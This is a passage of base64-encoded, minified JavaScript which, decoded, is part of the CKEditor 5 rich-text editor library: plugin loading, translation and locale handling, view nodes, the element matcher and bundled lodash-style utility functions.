Ch0KXtpZihhLmluY2x1ZGVzKHQpKXtyZXR1cm59aWYobi5fcGx1Z2lucy5oYXModCl8fG8uaGFzKHQpKXtyZXR1cm59cmV0dXJuIHUodCkuY2F0Y2goKGU9PntPYmplY3Qoc3NbImIiXSkoInBsdWdpbmNvbGxlY3Rpb24tbG9hZCIse3BsdWdpbjp0fSk7dGhyb3cgZX0pKX1mdW5jdGlvbiBkKHQsZSl7cmV0dXJuIHQucmVkdWNlKCgodCxpKT0+e2lmKCFpW2VdKXtyZXR1cm4gdH1pZihuLl9jb250ZXh0UGx1Z2lucy5oYXMoaSkpe3JldHVybiB0fXJldHVybiB0LnRoZW4oaVtlXS5iaW5kKGkpKX0pLFByb21pc2UucmVzb2x2ZSgpKX1mdW5jdGlvbiB1KHQpe3JldHVybiBuZXcgUHJvbWlzZSgocz0+e28uYWRkKHQpO2lmKHQucmVxdWlyZXMpe3QucmVxdWlyZXMuZm9yRWFjaCgobj0+e2NvbnN0IG89aChuKTtpZih0LmlzQ29udGV4dFBsdWdpbiYmIW8uaXNDb250ZXh0UGx1Z2luKXt0aHJvdyBuZXcgc3NbImEiXSgicGx1Z2luY29sbGVjdGlvbi1jb250ZXh0LXJlcXVpcmVkIixudWxsLHtwbHVnaW46by5uYW1lLHJlcXVpcmVkQnk6dC5uYW1lfSl9aWYoZS5pbmNsdWRlcyhvKSl7dGhyb3cgbmV3IHNzWyJhIl0oInBsdWdpbmNvbGxlY3Rpb24tcmVxdWlyZWQiLGkse3BsdWdpbjpvLm5hbWUscmVxdWlyZWRCeTp0Lm5hbWV9KX1sKG8pfSkpfWNvbnN0IGE9bi5fY29udGV4dFBsdWdpbnMuZ2V0KHQpfHxuZXcgdChpKTtuLl9hZGQodCxhKTtyLnB1c2goYSk7cygpfSkpfWZ1bmN0aW9uIGgodCl7aWYodHlwZW9mIHQ9PSJmdW5jdGlvbiIpe3JldHVybiB0fXJldHVybiBuLl9hdmFpbGFibGVQbHVnaW5zLmdldCh0KX1mdW5jdGlvbiBmKHQpe2NvbnN0IGU9W107Zm9yKGNvbnN0IG4gb2YgdCl7aWYoIWgobikpe2UucHVzaChuKX19cmV0dXJuIGUubGVuZ3RoP2U6bnVsbH1mdW5jdGlvbiBtKHQpe3JldHVybiB0Lm1hcCgodD0+aCh0KSkpLmZpbHRlcigodD0+ISF0KSl9fWRlc3Ryb3koKXtjb25zdCB0PVtdO2Zvcihjb25zdFssZV1vZiB0aGlzKXtpZih0eXBlb2YgZS5kZXN0cm95PT0iZnVuY3Rpb24iJiYhdGhpcy5fY29udGV4dFBsdWdpbnMuaGFzKGUpKXt0LnB1c2goZS5kZXN0cm95KCkpfX1yZXR1cm4gUHJvbWlzZS5hbGwodCl9X2FkZCh0LGUpe3RoaXMuX3BsdWdpbnMuc2V0KHQsZSk7Y29uc3Qgbj10LnBsdWdpbk5hbWU7aWYoIW4pe3JldHVybn1pZih0aGlzLl9wbHVnaW5zLmhhcyhuKSl7dGhyb3cgbmV3IHNzWyJhIl0oInBsdWdpbmNvbGxlY3Rpb24tcGx1Z2luLW5hbWUtY29uZmxpY3QiLG51bGwse3BsdWdpbk5hbWU6bixwbHVnaW4xOnRoaXMuX3BsdWdpbnMuZ2V0KG4pLmNvbnN0cnVjdG9yLHBsdWdpbjI6dH0pfXRoaXMuX3BsdWdpbnMuc2V0KG4sZSl9fV9zKHlzLGRzKTtmdW5jdGlvbiB4cyh0KXtyZXR1cm4gQXJyYXkuaXNBcnJheSh0KT90Olt0XX1pZighd2luZG93LkNLRURJVE9SX1RSQU5TTEFUSU9OUyl7d2luZG93LkNLRURJVE9SX1RSQU5TTEFUSU9OUz17fX1mdW5jdGlvbiBEcyh0LGUsbil7aWYoIXdpbmRvdy5DS0VESVRPUl9UUkFOU0xBVElPTlNbdF0pe3dpbmRvdy5DS0VESVRPUl9UUkFOU0xBVElPTlNbdF09e319Y29uc3QgaT13aW5kb3cuQ0tFRElUT1JfVFJBTlNMQVRJT05TW3RdO2kuZGljdGlvbmFyeT1pLmRpY3Rpb25hcnl8fHt9O2kuZ2V0UGx1cmFsRm9ybT1ufHxpLmdldFBsdXJhbEZvcm07T2JqZWN0LmFzc2lnbihpLmRpY3Rpb25hcnksZSl9ZnVuY3Rpb24gRXModCxlLG49MSl7aWYodHlwZW9mIG4hPT0ibnVtYmVyIil7dGhyb3cgbmV3IHNzWyJhIl0oInRyYW5zbGF0aW9uLXNlcnZpY2UtcXVhbnRpdHktbm90LWEtbnVtYmVyIixudWxsLHtxdWFudGl0eTpufSl9Y29uc3QgaT1UcygpO2lmKGk9PT0xKXt0PU9iamVjdC5rZXlzKHdpbmRvdy5DS0VESVRPUl9UUkFOU0xBVElPTlMpWzBdfWNvbnN0IG89ZS5pZHx8ZS5zdHJpbmc7aWYoaT09PTB8fCFTcyh0LG8pKXtpZihuIT09MSl7cmV0dXJuIGUucGx1cmFsfXJldHVybiBlLnN0cmluZ31jb25zdCByPXdpbmRvdy5DS0VESVRPUl9UUkFOU0xBVElPTlNbdF0uZGljdGlvbmFyeTtjb25zdCBzPXdpbmRvdy5DS0VESVRPUl9UUkFOU0xBVElPTlNbdF0uZ2V0UGx1cmFsRm9ybXx8KHQ9PnQ9PT0xPzA6MSk7aWYodHlwZW9mIHJbb109PT0ic3RyaW5nIil7cmV0dXJuIHJbb119Y29uc3QgYT1OdW1iZXIocyhuKSk7cmV0dXJuIHJbb11bYV19ZnVuY3Rpb24gTXMoKXt3aW5kb3cuQ0tFRElUT1JfVFJBTlNMQVRJT05TPXt9fWZ1bmN0aW9uIFNzKHQsZSl7cmV0dXJuISF3aW5kb3cuQ0tFRElUT1JfVFJBTlNMQVRJT05TW3RdJiYhIXdpbmRvdy5DS0VESVRPUl9UUkFOU0xBVElPTlNbdF0uZGljdGlvbmFyeVtlXX1mdW5jdGlvbiBUcygpe3JldHVybiBPYmplY3Qua2V5cyh3aW5kb3cuQ0tFRElUT1JfVFJBTlNMQVRJT05TKS5sZW5ndGh9Y29uc3QgSXM9WyJhciIsImZhIiwiaGUiLCJrdSIsInVnIl07Y2xhc3MgTnN7Y29uc3RydWN0b3IodD17fSl7dGhpcy51aUxhbmd1YWdlPXQudWlMYW5ndWFnZXx8ImVuIjt0aGlzLmNvbnRlbnRMYW5ndWFnZT10LmNvbnRlbnRMYW5ndWFnZXx8dGhpcy51aUxhbmd1YWdlO3RoaXMudWlMYW5ndWFnZURpcmVjdGlvbj1Qcyh0aGlzLnVpTGFuZ3VhZ2UpO3RoaXMuY29udGVudExhbmd1YWdlRGlyZWN0aW9uPVBzKHRoaXMuY29udGVudExhbmd1YWdlKTt0aGlzLnQ9KHQsZSk9PnRoaXMuX3QodCxlKX1nZXQgbGFuZ3VhZ2UoKXtjb25zb2xlLndhcm4oImxvY2FsZS1kZXByZWNhdGVkLWxhbmd1YWdlLXByb3BlcnR5OiAiKyJUaGUgTG9jYWxlI2xhbmd1YWdlIHByb3BlcnR5IGhhcyBiZWVuIGRlcHJlY2F0ZWQgYW5kIHdpbGwgYmUgcmVtb3ZlZCBpbiB0aGUgbmVhciBmdXR1cmUuICIrIlBsZWFzZSB1c2UgI3VpTGFuZ3VhZ2UgYW5kICNjb250ZW50TGFuZ3VhZ2UgcHJvcGVydGllcyBpbnN0ZWFkLiIpO3JldHVybiB0aGlzLnVpTGFuZ3VhZ2V9X3QodCxlPVtdKXtlPXhzKGUpO2lmKHR5cGVvZiB0PT09InN0cmluZyIpe3Q9e3N0cmluZzp0fX1jb25zdCBuPSEhdC5wbHVyYWw7Y29uc3QgaT1uP2VbMF06MTtjb25zdCBvPUVzKHRoaXMudWlMYW5ndWFnZSx0LGkpO3JldHVybiBCcyhvLGUpfX1mdW5jdGlvbiBCcyh0LGUpe3JldHVybiB0LnJlcGxhY2UoLyUoXGQrKS9nLCgodCxuKT0+bjxlLmxlbmd0aD9lW25dOnQpKX1mdW5jdGlvbiBQcyh0KXtyZXR1cm4gSXMuaW5jbHVkZXModCk/InJ0bCI6Imx0ciJ9Y2xhc3MgenN7Y29uc3RydWN0b3IodCl7dGhpcy5jb25maWc9bmV3IFFyKHQsdGhpcy5jb25zdHJ1Y3Rvci5kZWZhdWx0Q29uZmlnKTtjb25zdCBlPXRoaXMuY29uc3RydWN0b3IuYnVpbHRpblBsdWdpbnM7dGhpcy5jb25maWcuZGVmaW5lKCJwbHVnaW5zIixlKTt0aGlzLnBsdWdpbnM9bmV3IHlzKHRoaXMsZSk7Y29uc3Qgbj10aGlzLmNvbmZpZy5nZXQoImxhbmd1YWdlIil8fHt9O3RoaXMubG9jYWxlPW5ldyBOcyh7dWlMYW5ndWFnZTp0eXBlb2Ygbj09PSJzdHJpbmciP246bi51aSxjb250ZW50TGFuZ3VhZ2U6dGhpcy5jb25maWcuZ2V0KCJsYW5ndWFnZS5jb250ZW50Iil9KTt0aGlzLnQ9dGhpcy5sb2NhbGUudDt0aGlzLmVkaXRvcnM9bmV3IHZzO3RoaXMuX2NvbnRleHRPd25lcj1udWxsfWluaXRQbHVnaW5zKCl7Y29uc3QgdD10aGlzLmNvbmZpZy5nZXQoInBsdWdpbnMiKXx8W107Zm9yKGNvbnN0IGUgb2YgdCl7aWYodHlwZW9mIGUhPSJmdW5jdGlvbiIpe3Rocm93IG5ldyBzc1siYSJdKCJjb250ZXh0LWluaXRwbHVnaW5zLWNvbnN0cnVjdG9yLW9ubHkiLG51bGwse1BsdWdpbjplfSl9aWYoZS5pc0NvbnRleHRQbHVnaW4hPT10cnVlKXt0aHJvdyBuZXcgc3NbImEiXSgiY29udGV4dC1pbml0cGx1Z2lucy1pbnZhbGlkLXBsdWdpbiIsbnVsbCx7UGx1Z2luOmV9KX19cmV0dXJuIHRoaXMucGx1Z2lucy5pbml0KHQpfWRlc3Ryb3koKXtyZXR1cm4gUHJvbWlzZS5hbGwoQXJyYXkuZnJvbSh0aGlzLmVkaXRvcnMsKHQ9PnQuZGVzdHJveSgpKSkpLnRoZW4oKCgpPT50aGlzLnBsdWdpbnMuZGVzdHJveSgpKSl9X2FkZEVkaXRvcih0LGUpe2lmKHRoaXMuX2NvbnRleHRPd25lcil7dGhyb3cgbmV3IHNzWyJhIl0oImNvbnRleHQtYWRkZWRpdG9yLXByaXZhdGUtY29udGV4dCIpfXRoaXMuZWRpdG9ycy5hZGQodCk7aWYoZSl7dGhpcy5fY29udGV4dE93bmVyPXR9fV9yZW1vdmVFZGl0b3IodCl7aWYodGhpcy5lZGl0b3JzLmhhcyh0KSl7dGhpcy5lZGl0b3JzLnJlbW92ZSh0KX1pZih0aGlzLl9jb250ZXh0T3duZXI9PT10KXtyZXR1cm4gdGhpcy5kZXN0cm95KCl9cmV0dXJuIFByb21pc2UucmVzb2x2ZSgpfV9nZXRFZGl0b3JDb25maWcoKXtjb25zdCB0PXt9O2Zvcihjb25zdCBlIG9mIHRoaXMuY29uZmlnLm5hbWVzKCkpe2lmKCFbInBsdWdpbnMiLCJyZW1vdmVQbHVnaW5zIiwiZXh0cmFQbHVnaW5zIl0uaW5jbHVkZXMoZSkpe3RbZV09dGhpcy5jb25maWcuZ2V0KGUpfX1yZXR1cm4gdH1zdGF0aWMgY3JlYXRlKHQpe3JldHVybiBuZXcgUHJvbWlzZSgoZT0+e2NvbnN0IG49bmV3IHRoaXModCk7ZShuLmluaXRQbHVnaW5zKCkudGhlbigoKCk9Pm4pKSl9KSl9fWZ1bmN0aW9uIExzKHQsZSl7Y29uc3Qgbj1NYXRoLm1pbih0Lmxlbmd0aCxlLmxlbmd0aCk7Zm9yKGxldCBpPTA7aTxuO2krKyl7aWYodFtpXSE9ZVtpXSl7cmV0dXJuIGl9fWlmKHQubGVuZ3RoPT1lLmxlbmd0aCl7cmV0dXJuInNhbWUifWVsc2UgaWYodC5sZW5ndGg8ZS5sZW5ndGgpe3JldHVybiJwcmVmaXgifWVsc2V7cmV0dXJuImV4dGVuc2lvbiJ9fXZhciBPcz00O2Z1bmN0aW9uIFJzKHQpe3JldHVybiBVcih0LE9zKX12YXIganM9UnM7Y2xhc3MgRnN7Y29uc3RydWN0b3IodCl7dGhpcy5kb2N1bWVudD10O3RoaXMucGFyZW50PW51bGx9Z2V0IGluZGV4KCl7bGV0IHQ7aWYoIXRoaXMucGFyZW50KXtyZXR1cm4gbnVsbH1pZigodD10aGlzLnBhcmVudC5nZXRDaGlsZEluZGV4KHRoaXMpKT09LTEpe3Rocm93IG5ldyBzc1siYSJdKCJ2aWV3LW5vZGUtbm90LWZvdW5kLWluLXBhcmVudCIsdGhpcyl9cmV0dXJuIHR9Z2V0IG5leHRTaWJsaW5nKCl7Y29uc3QgdD10aGlzLmluZGV4O3JldHVybiB0IT09bnVsbCYmdGhpcy5wYXJlbnQuZ2V0Q2hpbGQodCsxKXx8bnVsbH1nZXQgcHJldmlvdXNTaWJsaW5nKCl7Y29uc3QgdD10aGlzLmluZGV4O3JldHVybiB0IT09bnVsbCYmdGhpcy5wYXJlbnQuZ2V0Q2hpbGQodC0xKXx8bnVsbH1nZXQgcm9vdCgpe2xldCB0PXRoaXM7d2hpbGUodC5wYXJlbnQpe3Q9dC5wYXJlbnR9cmV0dXJuIHR9aXNBdHRhY2hlZCgpe3JldHVybiB0aGlzLnJvb3QuaXMoInJvb3RFbGVtZW50Iil9Z2V0UGF0aCgpe2NvbnN0IHQ9W107bGV0IGU9dGhpczt3aGlsZShlLnBhcmVudCl7dC51bnNoaWZ0KGUuaW5kZXgpO2U9ZS5wYXJlbnR9cmV0dXJuIHR9Z2V0QW5jZXN0b3JzKHQ9e2luY2x1ZGVTZWxmOmZhbHNlLHBhcmVudEZpcnN0OmZhbHNlfSl7Y29uc3QgZT1bXTtsZXQgbj10LmluY2x1ZGVTZWxmP3RoaXM6dGhpcy5wYXJlbnQ7d2hpbGUobil7ZVt0LnBhcmVudEZpcnN0PyJwdXNoIjoidW5zaGlmdCJdKG4pO249bi5wYXJlbnR9cmV0dXJuIGV9Z2V0Q29tbW9uQW5jZXN0b3IodCxlPXt9KXtjb25zdCBuPXRoaXMuZ2V0QW5jZXN0b3JzKGUpO2NvbnN0IGk9dC5nZXRBbmNlc3RvcnMoZSk7bGV0IG89MDt3aGlsZShuW29dPT1pW29dJiZuW29dKXtvKyt9cmV0dXJuIG89PT0wP251bGw6bltvLTFdfWlzQmVmb3JlKHQpe2lmKHRoaXM9PXQpe3JldHVybiBmYWxzZX1pZih0aGlzLnJvb3QhPT10LnJvb3Qpe3JldHVybiBmYWxzZX1jb25zdCBlPXRoaXMuZ2V0UGF0aCgpO2NvbnN0IG49dC5nZXRQYXRoKCk7Y29uc3QgaT1McyhlLG4pO3N3aXRjaChpKXtjYXNlInByZWZpeCI6cmV0dXJuIHRydWU7Y2FzZSJleHRlbnNpb24iOnJldHVybiBmYWxzZTtkZWZhdWx0OnJldHVybiBlW2ldPG5baV19fWlzQWZ0ZXIodCl7aWYodGhpcz09dCl7cmV0dXJuIGZhbHNlfWlmKHRoaXMucm9vdCE9PXQucm9vdCl7cmV0dXJuIGZhbHNlfXJldHVybiF0aGlzLmlzQmVmb3JlKHQpfV9yZW1vdmUoKXt0aGlzLnBhcmVudC5fcmVtb3ZlQ2hpbGRyZW4odGhpcy5pbmRleCl9X2ZpcmVDaGFuZ2UodCxlKXt0aGlzLmZpcmUoImNoYW5nZToiK3QsZSk7aWYodGhpcy5wYXJlbnQpe3RoaXMucGFyZW50Ll9maXJlQ2hhbmdlKHQsZSl9fXRvSlNPTigpe2NvbnN0IHQ9anModGhpcyk7ZGVsZXRlIHQucGFyZW50O3JldHVybiB0fWlzKHQpe3JldHVybiB0PT09Im5vZGUifHx0PT09InZpZXc6bm9kZSJ9fV9zKEZzLGRzKTtjbGFzcyBWcyBleHRlbmRzIEZze2NvbnN0cnVjdG9yKHQsZSl7c3VwZXIodCk7dGhpcy5fdGV4dERhdGE9ZX1pcyh0KXtyZXR1cm4gdD09PSIkdGV4dCJ8fHQ9PT0idmlldzokdGV4dCJ8fHQ9PT0idGV4dCJ8fHQ9PT0idmlldzp0ZXh0Inx8dD09PSJub2RlInx8dD09PSJ2aWV3Om5vZGUifWdldCBkYXRhKCl7cmV0dXJuIHRoaXMuX3RleHREYXRhfWdldCBfZGF0YSgpe3JldHVybiB0aGlzLmRhdGF9c2V0IF9kYXRhKHQpe3RoaXMuX2ZpcmVDaGFuZ2UoInRleHQiLHRoaXMpO3RoaXMuX3RleHREYXRhPXR9aXNTaW1pbGFyKHQpe2lmKCEodCBpbnN0YW5jZW9mIFZzKSl7cmV0dXJuIGZhbHNlfXJldHVybiB0aGlzPT09dHx8dGhpcy5kYXRhPT09dC5kYXRhfV9jbG9uZSgpe3JldHVybiBuZXcgVnModGhpcy5kb2N1bWVudCx0aGlzLmRhdGEpfX1jbGFzcyBVc3tjb25zdHJ1Y3Rvcih0LGUsbil7dGhpcy50ZXh0Tm9kZT10O2lmKGU8MHx8ZT50LmRhdGEubGVuZ3RoKXt0aHJvdyBuZXcgc3NbImEiXSgidmlldy10ZXh0cHJveHktd3Jvbmctb2Zmc2V0aW50ZXh0Iix0aGlzKX1pZihuPDB8fGUrbj50LmRhdGEubGVuZ3RoKXt0aHJvdyBuZXcgc3NbImEiXSgidmlldy10ZXh0cHJveHktd3JvbmctbGVuZ3RoIix0aGlzKX10aGlzLmRhdGE9dC5kYXRhLnN1YnN0cmluZyhlLGUrbik7dGhpcy5vZmZzZXRJblRleHQ9ZX1nZXQgb2Zmc2V0U2l6ZSgpe3JldHVybiB0aGlzLmRhdGEubGVuZ3RofWdldCBpc1BhcnRpYWwoKXtyZXR1cm4gdGhpcy5kYXRhLmxlbmd0aCE9PXRoaXMudGV4dE5vZGUuZGF0YS5sZW5ndGh9Z2V0IHBhcmVudCgpe3JldHVybiB0aGlzLnRleHROb2RlLnBhcmVudH1nZXQgcm9vdCgpe3JldHVybiB0aGlzLnRleHROb2RlLnJvb3R9Z2V0IGRvY3VtZW50KCl7cmV0dXJuIHRoaXMudGV4dE5vZGUuZG9jdW1lbnR9aXModCl7cmV0dXJuIHQ9PT0iJHRleHRQcm94eSJ8fHQ9PT0idmlldzokdGV4dFByb3h5Inx8dD09PSJ0ZXh0UHJveHkifHx0PT09InZpZXc6dGV4dFByb3h5In1nZXRBbmNlc3RvcnModD17aW5jbHVkZVNlbGY6ZmFsc2UscGFyZW50Rmlyc3Q6ZmFsc2V9KXtjb25zdCBlPVtdO2xldCBuPXQuaW5jbHVkZVNlbGY/dGhpcy50ZXh0Tm9kZTp0aGlzLnBhcmVudDt3aGlsZShuIT09bnVsbCl7ZVt0LnBhcmVudEZpcnN0PyJwdXNoIjoidW5zaGlmdCJdKG4pO249bi5wYXJlbnR9cmV0dXJuIGV9fWZ1bmN0aW9uIEhzKHQpe2NvbnN0IGU9bmV3IE1hcDtmb3IoY29uc3QgbiBpbiB0KXtlLnNldChuLHRbbl0pfXJldHVybiBlfWZ1bmN0aW9uIEdzKHQpe2lmKEFzKHQpKXtyZXR1cm4gbmV3IE1hcCh0KX1lbHNle3JldHVybiBIcyh0KX19Y2xhc3MgV3N7Y29uc3RydWN0b3IoLi4udCl7dGhpcy5fcGF0dGVybnM9W107dGhpcy5hZGQoLi4udCl9YWRkKC4uLnQpe2ZvcihsZXQgZSBvZiB0KXtpZih0eXBlb2YgZT09InN0cmluZyJ8fGUgaW5zdGFuY2VvZiBSZWdFeHApe2U9e25hbWU6ZX19aWYoZS5jbGFzc2VzJiYodHlwZW9mIGUuY2xhc3Nlcz09InN0cmluZyJ8fGUuY2xhc3NlcyBpbnN0YW5jZW9mIFJlZ0V4cCkpe2UuY2xhc3Nlcz1bZS5jbGFzc2VzXX10aGlzLl9wYXR0ZXJucy5wdXNoKGUpfX1tYXRjaCguLi50KXtmb3IoY29uc3QgZSBvZiB0KXtmb3IoY29uc3QgdCBvZiB0aGlzLl9wYXR0ZXJucyl7Y29uc3Qgbj1LcyhlLHQpO2lmKG4pe3JldHVybntlbGVtZW50OmUscGF0dGVybjp0LG1hdGNoOm59fX19cmV0dXJuIG51bGx9bWF0Y2hBbGwoLi4udCl7Y29uc3QgZT1bXTtmb3IoY29uc3QgbiBvZiB0KXtmb3IoY29uc3QgdCBvZiB0aGlzLl9wYXR0ZXJucyl7Y29uc3QgaT1LcyhuLHQpO2lmKGkpe2UucHVzaCh7ZWxlbWVudDpuLHBhdHRlcm46dCxtYXRjaDppfSl9fX1yZXR1cm4gZS5sZW5ndGg+MD9lOm51bGx9Z2V0RWxlbWVudE5hbWUoKXtpZih0aGlzLl9wYXR0ZXJucy5sZW5ndGghPT0xKXtyZXR1cm4gbnVsbH1jb25zdCB0PXRoaXMuX3BhdHRlcm5zWzBdO2NvbnN0IGU9dC5uYW1lO3JldHVybiB0eXBlb2YgdCE9ImZ1bmN0aW9uIiYmZSYmIShlIGluc3RhbmNlb2YgUmVnRXhwKT9lOm51bGx9fWZ1bmN0aW9uIEtzKHQsZSl7aWYodHlwZW9mIGU9PSJmdW5jdGlvbiIpe3JldHVybiBlKHQpfWNvbnN0IG49e307aWYoZS5uYW1lKXtuLm5hbWU9cXMoZS5uYW1lLHQubmFtZSk7aWYoIW4ubmFtZSl7cmV0dXJuIG51bGx9fWlmKGUuYXR0cmlidXRlcyl7bi5hdHRyaWJ1dGVzPVlzKGUuYXR0cmlidXRlcyx0KTtpZighbi5hdHRyaWJ1dGVzKXtyZXR1cm4gbnVsbH19aWYoZS5jbGFzc2VzKXtuLmNsYXNzZXM9UXMoZS5jbGFzc2VzLHQpO2lmKCFuLmNsYXNzZXMpe3JldHVybiBmYWxzZX19aWYoZS5zdHlsZXMpe24uc3R5bGVzPSRzKGUuc3R5bGVzLHQpO2lmKCFuLnN0eWxlcyl7cmV0dXJuIGZhbHNlfX1yZXR1cm4gbn1mdW5jdGlvbiBxcyh0LGUpe2lmKHQgaW5zdGFuY2VvZiBSZWdFeHApe3JldHVybiB0LnRlc3QoZSl9cmV0dXJuIHQ9PT1lfWZ1bmN0aW9uIFlzKHQsZSl7Y29uc3Qgbj1bXTtmb3IoY29uc3QgaSBpbiB0KXtjb25zdCBvPXRbaV07aWYoZS5oYXNBdHRyaWJ1dGUoaSkpe2NvbnN0IHQ9ZS5nZXRBdHRyaWJ1dGUoaSk7aWYobz09PXRydWUpe24ucHVzaChpKX1lbHNlIGlmKG8gaW5zdGFuY2VvZiBSZWdFeHApe2lmKG8udGVzdCh0KSl7bi5wdXNoKGkpfWVsc2V7cmV0dXJuIG51bGx9fWVsc2UgaWYodD09PW8pe24ucHVzaChpKX1lbHNle3JldHVybiBudWxsfX1lbHNle3JldHVybiBudWxsfX1yZXR1cm4gbn1mdW5jdGlvbiBRcyh0LGUpe2NvbnN0IG49W107Zm9yKGNvbnN0IGkgb2YgdCl7aWYoaSBpbnN0YW5jZW9mIFJlZ0V4cCl7Y29uc3QgdD1lLmdldENsYXNzTmFtZXMoKTtmb3IoY29uc3QgZSBvZiB0KXtpZihpLnRlc3QoZSkpe24ucHVzaChlKX19aWYobi5sZW5ndGg9PT0wKXtyZXR1cm4gbnVsbH19ZWxzZSBpZihlLmhhc0NsYXNzKGkpKXtuLnB1c2goaSl9ZWxzZXtyZXR1cm4gbnVsbH19cmV0dXJuIG59ZnVuY3Rpb24gJHModCxlKXtjb25zdCBuPVtdO2Zvcihjb25zdCBpIGluIHQpe2NvbnN0IG89dFtpXTtpZihlLmhhc1N0eWxlKGkpKXtjb25zdCB0PWUuZ2V0U3R5bGUoaSk7aWYobyBpbnN0YW5jZW9mIFJlZ0V4cCl7aWYoby50ZXN0KHQpKXtuLnB1c2goaSl9ZWxzZXtyZXR1cm4gbnVsbH19ZWxzZSBpZih0PT09byl7bi5wdXNoKGkpfWVsc2V7cmV0dXJuIG51bGx9fWVsc2V7cmV0dXJuIG51bGx9fXJldHVybiBufXZhciBKcz0iW29iamVjdCBTeW1ib2xdIjtmdW5jdGlvbiBacyh0KXtyZXR1cm4gdHlwZW9mIHQ9PSJzeW1ib2wifHxEKHQpJiZDKHQpPT1Kc312YXIgWHM9WnM7dmFyIHRhPS9cLnxcWyg/OlteW1xdXSp8KFsiJ10pKD86KD8hXDEpW15cXF18XFwuKSo/XDEpXF0vLGVhPS9eXHcqJC87ZnVuY3Rpb24gbmEodCxlKXtpZihRZSh0KSl7cmV0dXJuIGZhbHNlfXZhciBuPXR5cGVvZiB0O2lmKG49PSJudW1iZXIifHxuPT0ic3ltYm9sInx8bj09ImJvb2xlYW4ifHx0PT1udWxsfHxYcyh0KSl7cmV0dXJuIHRydWV9cmV0dXJuIGVhLnRlc3QodCl8fCF0YS50ZXN0KHQpfHxlIT1udWxsJiZ0IGluIE9iamVjdChlKX12YXIgaWE9bmE7dmFyIG9hPSJFeHBlY3RlZCBhIGZ1bmN0aW9uIjtmdW5jdGlvbiByYSh0LGUpe2lmKHR5cGVvZiB0IT0iZnVuY3Rpb24ifHxlIT1udWxsJiZ0eXBlb2YgZSE9ImZ1bmN0aW9uIil7dGhyb3cgbmV3IFR5cGVFcnJvcihvYSl9dmFyIG49ZnVuY3Rpb24oKXt2YXIgaT1hcmd1bWVudHMsbz1lP2UuYXBwbHkodGhpcyxpKTppWzBdLHI9bi5jYWNoZTtpZihyLmhhcyhvKSl7cmV0dXJuIHIuZ2V0KG8pfXZhciBzPXQuYXBwbHkodGhpcyxpKTtuLmNhY2hlPXIuc2V0KG8scyl8fHI7cmV0dXJuIHN9O24uY2FjaGU9bmV3KHJhLkNhY2hlfHxDZSk7cmV0dXJuIG59cmEuQ2FjaGU9Q2U7dmFyIHNhPXJhO3ZhciBhYT01MDA7ZnVuY3Rpb24gY2EodCl7dmFyIGU9c2EodCwoZnVuY3Rpb24odCl7aWYobi5zaXplPT09YWEpe24uY2xlYXIoKX1yZXR1cm4gdH0pKTt2YXIgbj1lLmNhY2hlO3JldHVybiBlfXZhciBsYT1jYTt2YXIgZGE9L1teLltcXV0rfFxbKD86KC0/XGQrKD86XC5cZCspPyl8KFsiJ10pKCg/Oig/IVwyKVteXFxdfFxcLikqPylcMilcXXwoPz0oPzpcLnxcW1xdKSg/OlwufFxbXF18JCkpL2c7dmFyIHVhPS9cXChcXCk/L2c7dmFyIGhhPWxhKChmdW5jdGlvbih0KXt2YXIgZT1bXTtpZih0LmNoYXJDb2RlQXQoMCk9PT00Nil7ZS5wdXNoKCIiKX10LnJlcGxhY2UoZGEsKGZ1bmN0aW9uKHQsbixpLG8pe2UucHVzaChpP28ucmVwbGFjZSh1YSwiJDEiKTpufHx0KX0pKTtyZXR1cm4gZX0pKTt2YXIgZmE9aGE7ZnVuY3Rpb24gbWEodCxlKXt2YXIgbj0tMSxpPXQ9PW51bGw/MDp0Lmxlbmd0aCxvPUFycmF5KGkpO3doaWxlKCsrbjxpKXtvW25dPWUodFtuXSxuLHQpfXJldHVybiBvfXZhciBnYT1tYTt2YXIgcGE9MS8wO3ZhciBrYT1yP3IucHJvdG90eXBlOnVuZGVmaW5lZCxiYT1rYT9rYS50b1N0cmluZzp1bmRlZmluZWQ7ZnVuY3Rpb24gd2EodCl7aWYodHlwZW9mIHQ9PSJzdHJpbmciKXtyZXR1cm4gdH1pZihRZSh0KSl7cmV0dXJuIGdhKHQsd2EpKyIifWlmKFhzKHQpKXtyZXR1cm4gYmE/YmEuY2FsbCh0KToiIn12YXIgZT10KyIiO3JldHVybiBlPT0iMCImJjEvdD09LXBhPyItMCI6ZX12YXIgQ2E9d2E7ZnVuY3Rpb24gQWEodCl7cmV0dXJuIHQ9PW51bGw/IiI6Q2EodCl9dmFyIF9hPUFhO2Z1bmN0aW9uIHZhKHQsZSl7aWYoUWUodCkpe3JldHVybiB0fXJldHVybiBpYSh0LGUpP1t0XTpmYShfYSh0KSl9dmFyIHlhPXZhO2Z1bmN0aW9uIHhhKHQpe3ZhciBlPXQ9PW51bGw/MDp0Lmxlbmd0aDtyZXR1cm4gZT90W2UtMV06dW5kZWZpbmVkfXZhciBEYT14YTt2YXIgRWE9MS8wO2Z1bmN0aW9uIE1hKHQpe2lmKHR5cGVvZiB0PT0ic3RyaW5nInx8WHModCkpe3JldHVybiB0fXZhciBlPXQrIiI7cmV0dXJuIGU9PSIwIiYmMS90PT0tRWE/Ii0wIjplfXZhciBTYT1NYTtmdW5jdGlvbiBUYSh0LGUpe2U9eWEoZSx0KTt2YXIgbj0wLGk9ZS5sZW5ndGg7d2hpbGUodCE9bnVsbCYmbjxpKXt0PXRbU2EoZVtuKytdKV19cmV0dXJuIG4mJm49PWk/dDp1bmRlZmluZWR9dmFyIElhPVRhO2Z1bmN0aW9uIE5hKHQsZSxuKXt2YXIgaT0tMSxvPXQubGVuZ3RoO2lmKGU8MCl7ZT0tZT5vPzA6bytlfW49bj5vP286bjtpZihuPDApe24rPW99bz1lPm4/MDpuLWU+Pj4wO2U+Pj49MDt2YXIgcj1BcnJheShvKTt3aGlsZSgrK2k8byl7cltpXT10W2krZV19cmV0dXJuIHJ9dmFyIEJhPU5hO2Z1bmN0aW9uIFBhKHQsZSl7cmV0dXJuIGUubGVuZ3RoPDI/dDpJYSh0LEJhKGUsMCwtMSkpfXZhciB6YT1QYTtmdW5jdGlvbiBMYSh0LGUpe2U9eWEoZSx0KTt0PXphKHQsZSk7cmV0dXJuIHQ9PW51bGx8fGRlbGV0ZSB0W1NhKERhKGUpKV19dmFyIE9hPUxhO2Z1bmN0aW9uIFJhKHQsZSl7cmV0dXJuIHQ9PW51bGw/dHJ1ZTpPYSh0LGUpfXZhciBqYT1SYTtmdW5jdGlvbiBGYSh0LGUsbil7dmFyIGk9dD09bnVsbD91bmRlZmluZWQ6SWEodCxlKTtyZXR1cm4gaT09PXVuZGVmaW5lZD9uOml9dmFyIFZhPUZhO2Z1bmN